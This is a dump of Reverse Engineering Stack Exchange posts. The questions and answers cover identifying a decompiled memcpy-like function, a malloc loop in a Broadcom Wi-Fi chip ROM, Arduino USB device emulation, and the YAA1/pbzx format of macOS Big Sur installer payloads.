+    param_1 = (uint *)((int)param_1 + param_3);
+    iVar8 = param_3 + -4;
+    iVar10 = iVar8;
+    if (param_3 < 4) goto LAB_0003ba2c;
+    uVar13 = (uint)param_1 & 3;
+    if (uVar13 != 0) {
+      bVar11 = *(byte *)(uint *)((int)param_2 + -1);
+      *(byte *)(uint *)((int)param_1 + -1) = bVar11;
+      puVar2 = (uint *)((int)param_1 + -1);
+      puVar1 = (uint *)((int)param_2 + -1);
+      if (1 < uVar13) {
+        bVar11 = *(byte *)(uint *)((int)param_2 + -2);
+        *(byte *)(uint *)((int)param_1 + -2) = bVar11;
+        puVar2 = (uint *)((int)param_1 + -2);
+        puVar1 = (uint *)((int)param_2 + -2);
+      }
+      param_2 = puVar1;
+      param_1 = puVar2;
+      if (2 < uVar13) {
+        param_2 = (uint *)((int)param_2 + -1);
+        bVar11 = *(byte *)param_2;
+      }
+      param_4 = (uint)bVar11;
+      if (2 < uVar13) {
+        param_1 = (uint *)((int)param_1 + -1);
+        *(byte *)param_1 = bVar11;
+      }
+      iVar10 = iVar8 - uVar13;
+      bVar17 = iVar8 < (int)uVar13;
+      iVar8 = iVar10;
+      if (bVar17) goto LAB_0003ba2c;
+    }
+    uVar13 = (uint)param_2 & 3;
+    if (uVar13 == 0) {
+      iVar9 = iVar8 + -8;
+      if (7 < iVar8) {
+        iVar8 = iVar8 + -0x1c;
+        iVar10 = iVar8;
+        if (0x13 < iVar9) {
+          do {
+            uVar16 = param_2[-2];
+            uVar14 = param_2[-3];
+            uVar13 = param_2[-4];
+            param_1[-1] = param_2[-1];
+            param_1[-2] = uVar16;
+            param_1[-3] = uVar14;
+            param_1[-4] = uVar13;
+            puVar2 = param_2 + -5;
+            uVar14 = param_2[-6];
+            uVar13 = param_2[-7];
+            param_2 = param_2 + -8;
+            param_4 = *param_2;
+            param_1[-5] = *puVar2;
+            param_1[-6] = uVar14;
+            param_1[-7] = uVar13;
+            param_1 = param_1 + -8;
+            *param_1 = param_4;
+            iVar8 = iVar10 + -0x20;
+            bVar17 = 0x1f < iVar10;
+            iVar10 = iVar8;
+          } while (bVar17);
+        }
+        if (iVar8 + 0x10 < 0 == SCARRY4(iVar8,0x10)) {
+          puVar2 = param_2 + -1;
+          uVar14 = param_2[-2];
+          uVar13 = param_2[-3];
+          param_2 = param_2 + -4;
+          param_4 = *param_2;
+          param_1[-1] = *puVar2;
+          param_1[-2] = uVar14;
+          param_1[-3] = uVar13;
+          param_1 = param_1 + -4;
+          *param_1 = param_4;
+          iVar8 = iVar8 + -0x10;
+        }
+        iVar9 = iVar8 + 0x14;
+        if (iVar9 < 0 == SCARRY4(iVar8,0x14)) {
+          puVar2 = param_2 + -1;
+          uVar13 = param_2[-2];
+          param_2 = param_2 + -3;
+          param_4 = *param_2;
+          param_1[-1] = *puVar2;
+          param_1[-2] = uVar13;
+          param_1 = param_1 + -3;
+          *param_1 = param_4;
+          iVar9 = iVar8 + 8;
+        }
+      }
+      iVar10 = iVar9 + 8;
+      if (iVar10 < 0 == SCARRY4(iVar9,8)) {
+        if (iVar10 < 4) {
+          param_2 = param_2 + -1;
+          param_4 = *param_2;
+        }
+        if (iVar9 + 4 < 0 == SBORROW4(iVar10,4)) {
+          puVar2 = param_2 + -1;
+          param_2 = param_2 + -2;
+          uVar13 = *param_2;
+          param_1[-1] = *puVar2;
+          param_1 = param_1 + -2;
+          *param_1 = uVar13;
+          iVar10 = iVar9;
+        }
+        else {
+          param_1 = param_1 + -1;
+          *param_1 = param_4;
+          iVar10 = iVar9 + 4;
+        }
+      }
+      goto LAB_0003ba2c;
+    }
+    param_2 = (uint *)((uint)param_2 & 0xfffffffc);
+    uVar14 = *param_2;
+    if (1 < uVar13) {
+      if (uVar13 == 2) {
+        if (iVar8 < 0xc) {
+LAB_0003bb4c:
+          do {
+            uVar13 = uVar14 << 0x10;
+            param_2 = param_2 + -1;
+            uVar14 = *param_2;
+            param_1 = param_1 + -1;
+            *param_1 = uVar13 | uVar14 >> 0x10;
+            iVar10 = iVar8 + -4;
+            bVar17 = 3 < iVar8;
+            iVar8 = iVar10;
+          } while (bVar17);
+        }
+        else {
+          iVar8 = iVar8 + -0xc;
+          do {
+            iVar9 = iVar8;
+            uVar13 = uVar14 << 0x10;
+            uVar15 = param_2[-1];
+            uVar12 = param_2[-2];
+            uVar16 = param_2[-3];
+            param_2 = param_2 + -4;
+            uVar14 = *param_2;
+            param_1[-1] = uVar13 | uVar15 >> 0x10;
+            param_1[-2] = uVar15 << 0x10 | uVar12 >> 0x10;
+            param_1[-3] = uVar12 << 0x10 | uVar16 >> 0x10;
+            param_1 = param_1 + -4;
+            *param_1 = uVar16 << 0x10 | uVar14 >> 0x10;
+            iVar8 = iVar9 + -0x10;
+          } while (0xf < iVar9);
+          iVar10 = iVar9 + -4;
+          iVar8 = iVar10;
+          if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bb4c;
+        }
+        param_2 = (uint *)((int)param_2 + 2);
+        goto LAB_0003ba2c;
+      }
+      if (iVar8 < 0xc) {
+LAB_0003bae0:
+        do {
+          uVar13 = uVar14 << 8;
+          param_2 = param_2 + -1;
+          uVar14 = *param_2;
+          param_1 = param_1 + -1;
+          *param_1 = uVar13 | uVar14 >> 0x18;
+          iVar10 = iVar8 + -4;
+          bVar17 = 3 < iVar8;
+          iVar8 = iVar10;
+        } while (bVar17);
+      }
+      else {
+        iVar8 = iVar8 + -0xc;
+        do {
+          iVar9 = iVar8;
+          uVar13 = uVar14 << 8;
+          uVar15 = param_2[-1];
+          uVar12 = param_2[-2];
+          uVar16 = param_2[-3];
+          param_2 = param_2 + -4;
+          uVar14 = *param_2;
+          param_1[-1] = uVar13 | uVar15 >> 0x18;
+          param_1[-2] = uVar15 << 8 | uVar12 >> 0x18;
+          param_1[-3] = uVar12 << 8 | uVar16 >> 0x18;
+          param_1 = param_1 + -4;
+          *param_1 = uVar16 << 8 | uVar14 >> 0x18;
+          iVar8 = iVar9 + -0x10;
+        } while (0xf < iVar9);
+        iVar10 = iVar9 + -4;
+        iVar8 = iVar10;
+        if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bae0;
+      }
+      param_2 = (uint *)((int)param_2 + 3);
+      goto LAB_0003ba2c;
+    }
+    if (iVar8 < 0xc) {
+LAB_0003bbb8:
+      do {
+        uVar13 = uVar14 << 0x18;
+        param_2 = param_2 + -1;
+        uVar14 = *param_2;
+        param_1 = param_1 + -1;
+        *param_1 = uVar13 | uVar14 >> 8;
+        iVar10 = iVar8 + -4;
+        bVar17 = 3 < iVar8;
+        iVar8 = iVar10;
+      } while (bVar17);
+    }
+    else {
+      iVar8 = iVar8 + -0xc;
+      do {
+        iVar9 = iVar8;
+        uVar13 = uVar14 << 0x18;
+        uVar15 = param_2[-1];
+        uVar12 = param_2[-2];
+        uVar16 = param_2[-3];
+        param_2 = param_2 + -4;
+        uVar14 = *param_2;
+        param_1[-1] = uVar13 | uVar15 >> 8;
+        param_1[-2] = uVar15 << 0x18 | uVar12 >> 8;
+        param_1[-3] = uVar12 << 0x18 | uVar16 >> 8;
+        param_1 = param_1 + -4;
+        *param_1 = uVar16 << 0x18 | uVar14 >> 8;
+        iVar8 = iVar9 + -0x10;
+      } while (0xf < iVar9);
+      iVar10 = iVar9 + -4;
+      iVar8 = iVar10;
+      if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bbb8;
+    }
+    param_2 = (uint *)((int)param_2 + 1);
+LAB_0003ba2c:
+    iVar8 = iVar10 + 4;
+    if (iVar8 != 0) {
+      bVar18 = SBORROW4(iVar8,2);
+      bVar17 = iVar10 + 2 < 0;
+      pbVar7 = (byte *)((int)param_2 + -1);
+      bVar11 = *pbVar7;
+      pbVar3 = (byte *)((int)param_1 + -1);
+      *pbVar3 = bVar11;
+      if (1 < iVar8) {
+        pbVar7 = (byte *)((int)param_2 + -2);
+        bVar11 = *pbVar7;
+      }
+      if (bVar17 == bVar18) {
+        pbVar3 = (byte *)((int)param_1 + -2);
+        *pbVar3 = bVar11;
+      }
+      if (iVar8 != 2 && bVar17 == bVar18) {
+        pbVar7 = pbVar7 + -1;
+        bVar11 = *pbVar7;
+      }
+      if (iVar8 != 2 && bVar17 == bVar18) {
+        pbVar3 = pbVar3 + -1;
+        *pbVar3 = bVar11;
+      }
+      return CONCAT44(pbVar3,pbVar7);
+    }
+    return CONCAT44(param_1,param_2);
+  }
+  if (param_2 == param_1) {
+    return CONCAT44(param_1,param_2);
+  }
+  iVar8 = param_3 + -4;
+  puVar2 = param_1;
+  iVar10 = iVar8;
+  if (param_3 < 4) goto LAB_0003b7ec;
+  if (((uint)param_1 & 3) == 0) {
+    uVar13 = (uint)param_2 & 3;
+    puVar1 = param_1;
+  }
+  else {
+    iVar10 = -((uint)param_1 & 3);
+    iVar9 = iVar10 + 4;
+    bVar18 = SBORROW4(iVar9,2);
+    bVar17 = iVar10 + 2 < 0;
+    bVar11 = *(byte *)param_2;
+    *(byte *)param_1 = bVar11;
+    puVar2 = (uint *)((int)param_2 + 1);
+    if (1 < iVar9) {
+      puVar2 = (uint *)((int)param_2 + 2);
+      bVar11 = *(byte *)(uint *)((int)param_2 + 1);
+    }
+    puVar1 = (uint *)((int)param_1 + 1);
+    if (bVar17 == bVar18) {
+      puVar1 = (uint *)((int)param_1 + 2);
+      *(byte *)(uint *)((int)param_1 + 1) = bVar11;
+    }
+    param_2 = puVar2;
+    if (iVar9 != 2 && bVar17 == bVar18) {
+      param_2 = (uint *)((int)puVar2 + 1);
+      bVar11 = *(byte *)puVar2;
+    }
+    param_4 = (uint)bVar11;
+    puVar2 = puVar1;
+    if (iVar9 != 2 && bVar17 == bVar18) {
+      puVar2 = (uint *)((int)puVar1 + 1);
+      *(byte *)puVar1 = bVar11;
+    }
+    iVar10 = iVar8 - iVar9;
+    if (iVar8 < iVar9) goto LAB_0003b7ec;
+    uVar13 = (uint)param_2 & 3;
+    iVar8 = iVar10;
+    puVar1 = puVar2;
+  }
+  if (uVar13 == 0) {
+    iVar9 = iVar8 + -8;
+    if (7 < iVar8) {
+      iVar8 = iVar8 + -0x1c;
+      if (0x13 < iVar9) {
+        do {
+          iVar10 = iVar8;
+          puVar5 = param_2;
+          puVar2 = puVar1;
+          uVar13 = puVar5[1];
+          uVar14 = puVar5[2];
+          uVar16 = puVar5[3];
+          *puVar2 = *puVar5;
+          puVar2[1] = uVar13;
+          puVar2[2] = uVar14;
+          puVar2[3] = uVar16;
+          param_4 = puVar5[4];
+          uVar13 = puVar5[5];
+          uVar14 = puVar5[6];
+          uVar16 = puVar5[7];
+          param_2 = puVar5 + 8;
+          puVar2[4] = param_4;
+          puVar2[5] = uVar13;
+          puVar2[6] = uVar14;
+          puVar2[7] = uVar16;
+          puVar1 = puVar2 + 8;
+          iVar8 = iVar10 + -0x20;
+        } while (0x1f < iVar10);
+        if (iVar10 + -0x10 < 0 == SCARRY4(iVar8,0x10)) {
+          param_4 = *param_2;
+          uVar13 = puVar5[9];
+          uVar14 = puVar5[10];
+          uVar16 = puVar5[0xb];
+          param_2 = puVar5 + 0xc;
+          *puVar1 = param_4;
+          puVar2[9] = uVar13;
+          puVar2[10] = uVar14;
+          puVar2[0xb] = uVar16;
+          puVar1 = puVar2 + 0xc;
+          iVar8 = iVar10 + -0x30;
+        }
+      }
+      bVar18 = SCARRY4(iVar8,0x14);
+      iVar9 = iVar8 + 0x14;
+      bVar17 = iVar9 < 0;
+      do {
+        if (bVar17 == bVar18) {
+          param_4 = *param_2;
+          uVar13 = param_2[1];
+          uVar14 = param_2[2];
+          param_2 = param_2 + 3;
+          *puVar1 = param_4;
+          puVar1[1] = uVar13;
+          puVar1[2] = uVar14;
+          puVar1 = puVar1 + 3;
+          bVar18 = SBORROW4(iVar9,0xc);
+          iVar9 = iVar9 + -0xc;
+          bVar17 = iVar9 < 0;
+        }
+      } while (bVar17 == bVar18);
+    }
+    iVar10 = iVar9 + 8;
+    puVar2 = puVar1;
+    if (iVar10 < 0 == SCARRY4(iVar9,8)) {
+      if (iVar10 < 4) {
+        param_4 = *param_2;
+        param_2 = param_2 + 1;
+      }
+      if (iVar9 + 4 < 0 == SBORROW4(iVar10,4)) {
+        uVar13 = *param_2;
+        uVar14 = param_2[1];
+        param_2 = param_2 + 2;
+        *puVar1 = uVar13;
+        puVar1[1] = uVar14;
+        puVar2 = puVar1 + 2;
+        iVar10 = iVar9;
+      }
+      else {
+        puVar2 = puVar1 + 1;
+        *puVar1 = param_4;
+        iVar10 = iVar9 + 4;
+      }
+    }
+    goto LAB_0003b7ec;
+  }
+  puVar5 = (uint *)((uint)param_2 & 0xfffffffc) + 1;
+  uVar14 = *(uint *)((uint)param_2 & 0xfffffffc);
+  if (uVar13 < 3) {
+    if (uVar13 == 2) {
+      puVar6 = puVar5;
+      if (iVar8 < 0xc) {
+LAB_0003b910:
+        do {
+          uVar13 = uVar14 >> 0x10;
+          puVar5 = puVar6 + 1;
+          uVar14 = *puVar6;
+          puVar2 = puVar1 + 1;
+          *puVar1 = uVar13 | uVar14 << 0x10;
+          iVar10 = iVar8 + -4;
+          bVar17 = 3 < iVar8;
+          puVar1 = puVar2;
+          puVar6 = puVar5;
+          iVar8 = iVar10;
+        } while (bVar17);
+      }
+      else {
+        iVar8 = iVar8 + -0xc;
+        do {
+          iVar9 = iVar8;
+          uVar13 = uVar14 >> 0x10;
+          uVar16 = *puVar5;
+          uVar12 = puVar5[1];
+          uVar15 = puVar5[2];
+          uVar14 = puVar5[3];
+          puVar5 = puVar5 + 4;
+          *puVar1 = uVar13 | uVar16 << 0x10;
+          puVar1[1] = uVar16 >> 0x10 | uVar12 << 0x10;
+          puVar1[2] = uVar12 >> 0x10 | uVar15 << 0x10;
+          puVar1[3] = uVar15 >> 0x10 | uVar14 << 0x10;
+          puVar1 = puVar1 + 4;
+          iVar8 = iVar9 + -0x10;
+        } while (0xf < iVar9);
+        iVar10 = iVar9 + -4;
+        puVar2 = puVar1;
+        puVar6 = puVar5;
+        iVar8 = iVar10;
+        if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b910;
+      }
+      param_2 = (uint *)((int)puVar5 + -2);
+      goto LAB_0003b7ec;
+    }
+    puVar6 = puVar5;
+    if (iVar8 < 0xc) {
+LAB_0003b8a4:
+      do {
+        uVar13 = uVar14 >> 8;
+        puVar5 = puVar6 + 1;
+        uVar14 = *puVar6;
+        puVar2 = puVar1 + 1;
+        *puVar1 = uVar13 | uVar14 << 0x18;
+        iVar10 = iVar8 + -4;
+        bVar17 = 3 < iVar8;
+        puVar1 = puVar2;
+        puVar6 = puVar5;
+        iVar8 = iVar10;
+      } while (bVar17);
+    }
+    else {
+      iVar8 = iVar8 + -0xc;
+      do {
+        iVar9 = iVar8;
+        uVar13 = uVar14 >> 8;
+        uVar16 = *puVar5;
+        uVar12 = puVar5[1];
+        uVar15 = puVar5[2];
+        uVar14 = puVar5[3];
+        puVar5 = puVar5 + 4;
+        *puVar1 = uVar13 | uVar16 << 0x18;
+        puVar1[1] = uVar16 >> 8 | uVar12 << 0x18;
+        puVar1[2] = uVar12 >> 8 | uVar15 << 0x18;
+        puVar1[3] = uVar15 >> 8 | uVar14 << 0x18;
+        puVar1 = puVar1 + 4;
+        iVar8 = iVar9 + -0x10;
+      } while (0xf < iVar9);
+      iVar10 = iVar9 + -4;
+      puVar2 = puVar1;
+      puVar6 = puVar5;
+      iVar8 = iVar10;
+      if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b8a4;
+    }
+    param_2 = (uint *)((int)puVar5 + -3);
+    goto LAB_0003b7ec;
+  }
+  puVar6 = puVar5;
+  if (iVar8 < 0xc) {
+LAB_0003b97c:
+    do {
+      uVar13 = uVar14 >> 0x18;
+      puVar5 = puVar6 + 1;
+      uVar14 = *puVar6;
+      puVar2 = puVar1 + 1;
+      *puVar1 = uVar13 | uVar14 << 8;
+      iVar10 = iVar8 + -4;
+      bVar17 = 3 < iVar8;
+      puVar1 = puVar2;
+      puVar6 = puVar5;
+      iVar8 = iVar10;
+    } while (bVar17);
+  }
+  else {
+    iVar8 = iVar8 + -0xc;
+    do {
+      iVar9 = iVar8;
+      uVar13 = uVar14 >> 0x18;
+      uVar16 = *puVar5;
+      uVar12 = puVar5[1];
+      uVar15 = puVar5[2];
+      uVar14 = puVar5[3];
+      puVar5 = puVar5 + 4;
+      *puVar1 = uVar13 | uVar16 << 8;
+      puVar1[1] = uVar16 >> 0x18 | uVar12 << 8;
+      puVar1[2] = uVar12 >> 0x18 | uVar15 << 8;
+      puVar1[3] = uVar15 >> 0x18 | uVar14 << 8;
+      puVar1 = puVar1 + 4;
+      iVar8 = iVar9 + -0x10;
+    } while (0xf < iVar9);
+    iVar10 = iVar9 + -4;
+    puVar2 = puVar1;
+    puVar6 = puVar5;
+    iVar8 = iVar10;
+    if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b97c;
+  }
+  param_2 = (uint *)((int)puVar5 + -1);
+LAB_0003b7ec:
+  iVar8 = iVar10 + 4;
+  if (iVar8 != 0) {
+    bVar18 = SBORROW4(iVar8,2);
+    bVar17 = iVar10 + 2 < 0;
+    bVar11 = *(byte *)param_2;
+    *(byte *)puVar2 = bVar11;
+    pbVar3 = (byte *)((int)param_2 + 1);
+    if (1 < iVar8) {
+      pbVar3 = (byte *)((int)param_2 + 2);
+      bVar11 = *(byte *)((int)param_2 + 1);
+    }
+    pbVar7 = (byte *)((int)puVar2 + 1);
+    if (bVar17 == bVar18) {
+      pbVar7 = (byte *)((int)puVar2 + 2);
+      *(byte *)((int)puVar2 + 1) = bVar11;
+    }
+    pbVar4 = pbVar3;
+    if (iVar8 != 2 && bVar17 == bVar18) {
+      pbVar4 = pbVar3 + 1;
+      bVar11 = *pbVar3;
+    }
+    if (iVar8 != 2 && bVar17 == bVar18) {
+      *pbVar7 = bVar11;
+    }
+    return CONCAT44(param_1,pbVar4);
+  }
+  return CONCAT44(param_1,param_2);
+}
+
+

My best guess for now is it is doing some kind of encoding and it might be a standard glibc function as it is called many times throughout the code.

+

This function is usally called with parameter like follows:

+
ToSolve1(auStack55,(uint *)&DAT_000543f4,0xe,uVar10);
+ToSolve1(auStack55,(uint *)&DAT_0005489c,0xe,uVar10);
+ToSolve1((uint *)&DAT_0004f602,&local_1c,4,(uint)&DAT_0004f680);
+ToSolve1(param_1,&DAT_0004f5f8,0xe,(uint)puVar4);
+
+

Hope someone can give me a nudge on what this function is. +If possible, I would like to learn about if there are any resources out there that can help me improve the skills of recognizing standard function signatures.

+",33693,,,,,7/22/2021 21:01,Having hard time analyzing stripped code,,1,2,,,,CC BY-SA 4.0 +25411,2,,25410,6/27/2020 17:23,,0,,"

For starters you could start by geting rid of most of the casts then start carving out the stack and heap structs where possible, then try to change the name of variables where possible to more type oriented ones, this will show most of the "duplicate" variables.

+

Then start following the main flow following labels and maybe change their name to what specific position mignt represet, like fail_exit or success_exit etc

+

Allso, is allways good to have the basic std structs defined if the source was compiled with c++.

+

e.g

+
struct std_vector{
+  void* begin;
+  void* end;
+  void* capacity;
+} 
+
+struct std_tree_node_base{
+       std_tree_node_base* left;
+       std_tree_node_base* parent;
+       std_tree_node_base* right;
+       char color;
+       char isNil;
+       short pad1;
+       //here will be the payload of the node, padded if needed
+ }
+
+ //red-black tree used to implement std::map, std::set
+ struct std_tree{
+      std_tree_node_base*    head;
+      __int64                size;
+ }
+
+ struct std_list_node{
+      std_list_node* next;
+      std_list_node* prev;
+      //node payload here
+ }
+
+ struct std_list{
+      std_list_node* head;
+      __int64        size;
+ }
+
+ //same for std::wstring but using wchar_t* 
+ struct std_string {
+       char*    _Begin;
+       char*    _End;
+       __int64  _MySize;
+       __int64  _MyReserved;
+ }
+
+

And maybe switch to IDA as its has a lot better decompiler than Ghidra. +I think you can get the freeware version on their website, should suffice.

+

Good Luck!

+",25994,,25994,,6/27/2020 17:32,6/27/2020 17:32,,,,2,,,,CC BY-SA 4.0 +25415,1,,,6/28/2020 15:02,,1,66,"

I am attempting to disassemble a ROM image for a BCM4366C [1] after reading a blog post where researchers reversed some other Broadcom chips [2] . I have analyzed the ROM image in Ghidra and I have tried to identify the malloc, memcpy, free and printf functions, but now I am struggling to understand what I believe to be the main malloc loop. I believe the entry point to malloc is at 00012124, based on the large number of xrefs Ghidra has found where r0 is set to a small immediate value followed by a branch to this address, eg:

+
        00018dcc 4f f4 a2 70     mov.w      r0,#0x144
+        00018dd0 f9 f7 a8 f9     bl         malloc              ;; 00012124
+
+

At 00012124 there is a branch to 00011eb8 which I believe to be the guts of the malloc function:

+
                             LAB_00011eb8                                    XREF[2]:     00012126(j), 0001212c(j)  
+        00011eb8 2d e9 f7 4f     push       { r0, r1, r2, r4, r5, r6, r7, r8, r9, r10, r1...
+        00011ebc 03 30           add        r0,#0x3
+        00011ebe 4f f0 01 0b     mov.w      r11,#0x1
+        00011ec2 20 f0 03 04     bic        r4,r0,#0x3
+        00011ec6 0b fa 01 f1     lsl.w      r1,r11,r1
+        00011eca b1 f5 80 4f     cmp.w      r1,#0x4000
+        00011ece 34 bf           itE        cc
+        00011ed0 8b 46           mov.cc     r11,r1
+        00011ed2 4f f4 80 4b     mov.cs.w   r11,#0x4000
+        00011ed6 90 f0 a7 f8     bl         FUN_000a2028                                     undefined FUN_000a2028()
+        00011eda 39 4b           ldr        r3,[DAT_00011fc0]                                = 002007B8h
+        00011edc 00 22           mov        r2,#0x0
+        00011ede bb f1 04 0f     cmp.w      r11,#0x4
+        00011ee2 38 bf           it         cc
+        00011ee4 4f f0 04 0b     mov.cc.w   r11,#0x4
+        00011ee8 d3 f8 00 a0     ldr.w      r10,[r3,#0x0]=>DAT_002007b8
+        00011eec 15 46           mov        r5,r2
+        00011eee 91 46           mov        r9,r2
+        00011ef0 13 46           mov        r3,r2
+        00011ef2 cb f1 00 01     rsb        r1,r11,#0x0
+        00011ef6 0b f1 ff 3b     add.w      r11,r11,#0xffffffff
+        00011efa 01 91           str        r1,[sp,#Stack[-0x2c]]
+        00011efc cd f8 00 b0     str.w      r11,[sp,#0x0]=>Stack[-0x30]
+                             LAB_00011f00                                    XREF[1]:     00011f4a(j)  
+        00011f00 41 68           ldr        r1,[r0,#0x4]
+        00011f02 19 b3           cbz        r1,LAB_00011f4c
+        00011f04 d1 f8 00 80     ldr.w      r8,[r1,#0x0]
+        00011f08 a0 45           cmp        r8,r4
+        00011f0a 1d d3           bcc        LAB_00011f48
+        00011f0c dd f8 04 b0     ldr.w      r11,[sp,#Stack[-0x2c]]
+        00011f10 01 f1 08 07     add.w      r7,r1,#0x8
+        00011f14 07 eb 08 0c     add.w      r12,r7,r8
+        00011f18 c4 eb 0c 06     rsb.w      r6,r4,r12
+        00011f1c 0b ea 06 06     and.w      r6,r11,r6
+        00011f20 be 42           cmp        r6,r7
+        00011f22 11 d3           bcc        LAB_00011f48
+        00011f24 dd f8 00 b0     ldr.w      r11,[sp,#0x0]=>Stack[-0x30]
+        00011f28 1b ea 07 0f     tst.w      r11,r7
+        00011f2c 02 d0           beq        LAB_00011f34
+        00011f2e f7 1b           sub        r7,r6,r7
+        00011f30 07 2f           cmp        r7,#0x7
+        00011f32 09 d9           bls        LAB_00011f48
+                             LAB_00011f34                                    XREF[1]:     00011f2c(j)  
+        00011f34 c4 eb 08 07     rsb.w      r7,r4,r8
+        00011f38 57 45           cmp        r7,r10
+        00011f3a 05 d2           bcs        LAB_00011f48
+        00011f3c 62 46           mov        r2,r12
+        00011f3e 35 46           mov        r5,r6
+        00011f40 67 b1           cbz        r7,LAB_00011f5c
+        00011f42 ba 46           mov        r10,r7
+        00011f44 81 46           mov        r9,r0
+        00011f46 0b 46           mov        r3,r1
+                             LAB_00011f48                                    XREF[4]:     00011f0a(j), 00011f22(j), 
+                                                                                          00011f32(j), 00011f3a(j)  
+        00011f48 08 46           mov        r0,r1
+        00011f4a d9 e7           b          LAB_00011f00
+                             LAB_00011f4c                                    XREF[1]:     00011f02(j)  
+        00011f4c 48 46           mov        r0,r9
+[snip]
+
+

There is a loop entering at 00011f00 with the reverse jump at 00011f4a, and a single jump out of the loop at 00011f40.

+

The line that is confusing me is the first line of the loop (00011f00) -- here the instruction ldr r1,[r0,#0x4] would be using r0 as a base address and then dereferencing r0+0x4 into r1 (because of the [], indicating immediate offset addressing). However, I can't find any instructions prior to this where r0 is loaded into, it appears to only be loaded with a small immediate value at the malloc call sites (which I thought was the callers specifying the size of memory they want alloc'd). Apart from the 'wrapper' at 00012124, the only other block of code I am encountering in my in-my-head trace of the execution is the branch at 00011ed6, and the function there also does not touch r0.

+

The loop ends by moving r1 into r0 before jumping back to the start, at which point the ldr r1,[r0,#0x4] instruction is executed again. Based on this I had thought that this loop is walking over the linked list of free heap blocks: each heap block has a pointer to the next heap block at offset 0x4, which is retrieved at the start of the loop.

+

Is the instruction at 00011f00 actually dereferencing the size as a base address? Or is r0 being written to earlier in the flow and I cannot see where it is happening?

+

Additionally, I would love to know if I am on the right track with understanding the allocator, but if you can help me with this one ldr instruction I would be very grateful! 🙏

+

Thank you :)

+

[1] https://github.com/seemoo-lab/bcm_misc/blob/master/bcm4366c/rom.bin
+[2] https://blog.quarkslab.com/reverse-engineering-broadcom-wireless-chipsets.html

+

EDIT: FUN_000a2028 is defined as:

+
                             **************************************************************
+                             *                          FUNCTION                          *
+                             **************************************************************
+                             undefined FUN_000a2028()
+             undefined         r0:1           <RETURN>
+             undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     000a202e(W)  
+                             FUN_000a2028                                    XREF[2]:     FUN_00011dc4:00011de0(c), 
+                                                                                          malloc:00011ed6(c)  
+        000a2028 10 b5           push       { r4, lr }
+        000a202a 02 4c           ldr        r4,[DAT_000a2034]                                = 00200418h
+        000a202c 24 68           ldr        r4,[r4,#0x0]=>DAT_00200418
+        000a202e 01 94           str        r4,[sp,#local_4]
+        000a2030 10 bd           pop        { r4, pc }
+
+
+",33700,,33700,,6/28/2020 19:44,6/28/2020 19:44,Immediate offset LDR in presumed malloc function looks wrong in static analysis,,0,6,,,,CC BY-SA 4.0 +25418,2,,25387,6/29/2020 6:12,,1,,"

Almost any Arduino is capable of USB communication (at least low speed). There is difference if you need software (for example V-USB) or it has hardware support. Unless your board has dedicated USB output (which usually also mean hardware support) you also need to make required connector to USB cable (watch for appropriate signal voltage level (3.3 V)). And no, USB port used for uploading your program to Arduino cant be used as it is usually only USB to serial converter.

+

And now for software part. You need same VID and PID as your existing device so Windows (I assume you use them) can use correct driver and then you need to implement algorithm on your Arduino which depends on used USB implementation so look at examples available for your implementation.

+

In case you find Arduino inadequate for your task you can look at other ARM MCU development boards (for example Nucleo). Which are faster and more powerful.

+",25138,,,,,6/29/2020 6:12,,,,0,,,,CC BY-SA 4.0 +25419,1,25424,,6/29/2020 7:32,,2,618,"

Apple's announcement of macOS Big Sur had meant the release of the developer beta. In an attempt to create the appbundle from Apple's softwarecatalog, I attempted to study the contents of InstallAssistant.pkg. In the process, I found pbzx files in the payloadv2 directory that mimic Format 3.0 used by iOS for its' OTA updates and the study of that format by Johnathan Levin and attempted to use his ota tool to extract it (which uses the following struct)

+
#pragma pack(1)
+struct entry
+{
+
+    unsigned int usually_0x210_or_0x110;
+    unsigned short  usually_0x00_00; //_00_00;
+    unsigned int  fileSize;
+    unsigned short whatever;
+    unsigned long long timestamp_likely;
+    unsigned short _usually_0x20;
+    unsigned short nameLen;
+    unsigned short uid;
+    unsigned short gid;
+    unsigned short perms;
+    char name[0];
+// Followed by file contents
+};
+
+#pragma pack()
+
+

There was no avail with ota so I resorted to use a slightly modified (in terms of memory improvements) version of his pbzx tool to extract the stream, to success using the bash command given below in the payloadv2 directory

+

rm *.ecc && find *.??? -exec bash -c "./pbzx {} >> {}.unpbzx" \; && mkdir unpbzx && mv *.unpbzx unpbzx/

+

As a result I now have a directory full of .unpbzx files. Attempting to run ota (with pbzx support removed to eliminate the possibility of potential bugs there) on payload.000.unpbzx results in a Segmentation Fault, gdb returns

+
Corrupt entry (0x31414159 at pos 30@0x10100001e).. skipping
+
+Thread 2 received signal SIGSEGV, Segmentation fault.
+0x00000001000031b4 in processFile (FileName=0x7ffeefbff74e "/Volumes/[redacted]/pbzx/payload.000.unpbzx") at ota.c:423
+423                 while (ent->usually_0x210_or_0x110 != 0x210 && ent->usually_0x210_or_0x110 != 0x110)
+
+

Running it with alternative tools like ota2tar (with pbzx extraction code removed) and forks of ota like iOS-Utilities gave similar errors (out-of-bounds memory errors, etc.)

+

It appears that somehow this unpbzx file has a different header structure to the description of Format 3.0 on the iPhone Wiki

+

Opening payload.000.unpbzx with Hex Fiend shows that the file format appears to be differing from the struct given above (singular entry highlighted)

+

+

Files seem to be listed with some form of delimiter YAA1 in the beginning. Isolating individual entries gives results similar to the image given below (file name highlighted)

+

+

My knowledge of reverse engineering is admittedly limited so the best I could do is some psudocode about what the struct may look like

+
struct entry
+{
+  uint8_t header; // 59414131 (0xYAA1) 
+  uint32_t description; // 69005459 50314450 41545030 (iTYP1DPATP)
+  uint8_t padding; // 00
+  // fileNameLen undefined
+  char[fileNameLen] filename; // System/Library/Perl/Extras/5.28/Net/LDAP/Control
+  uint8_t uid; // 55494431 (or 0xUID1)
+  uint8_t padding2; // 00
+  uint8_t descr_end; // 474944 31004D4F 4432ED01 464C4734 00000800 4D544D54
+  // (descr_end includes GID, MOD and FLG values)
+  // file_contents
+}
+
+

As a last ditch attempt, I ran payload.000.unpbzx through 7zip and it identifies the file as a gzip stream

+
Path = /Volumes/[redacted]/pbzx/payload.000.unpbzx
+Type = gzip
+ERRORS:
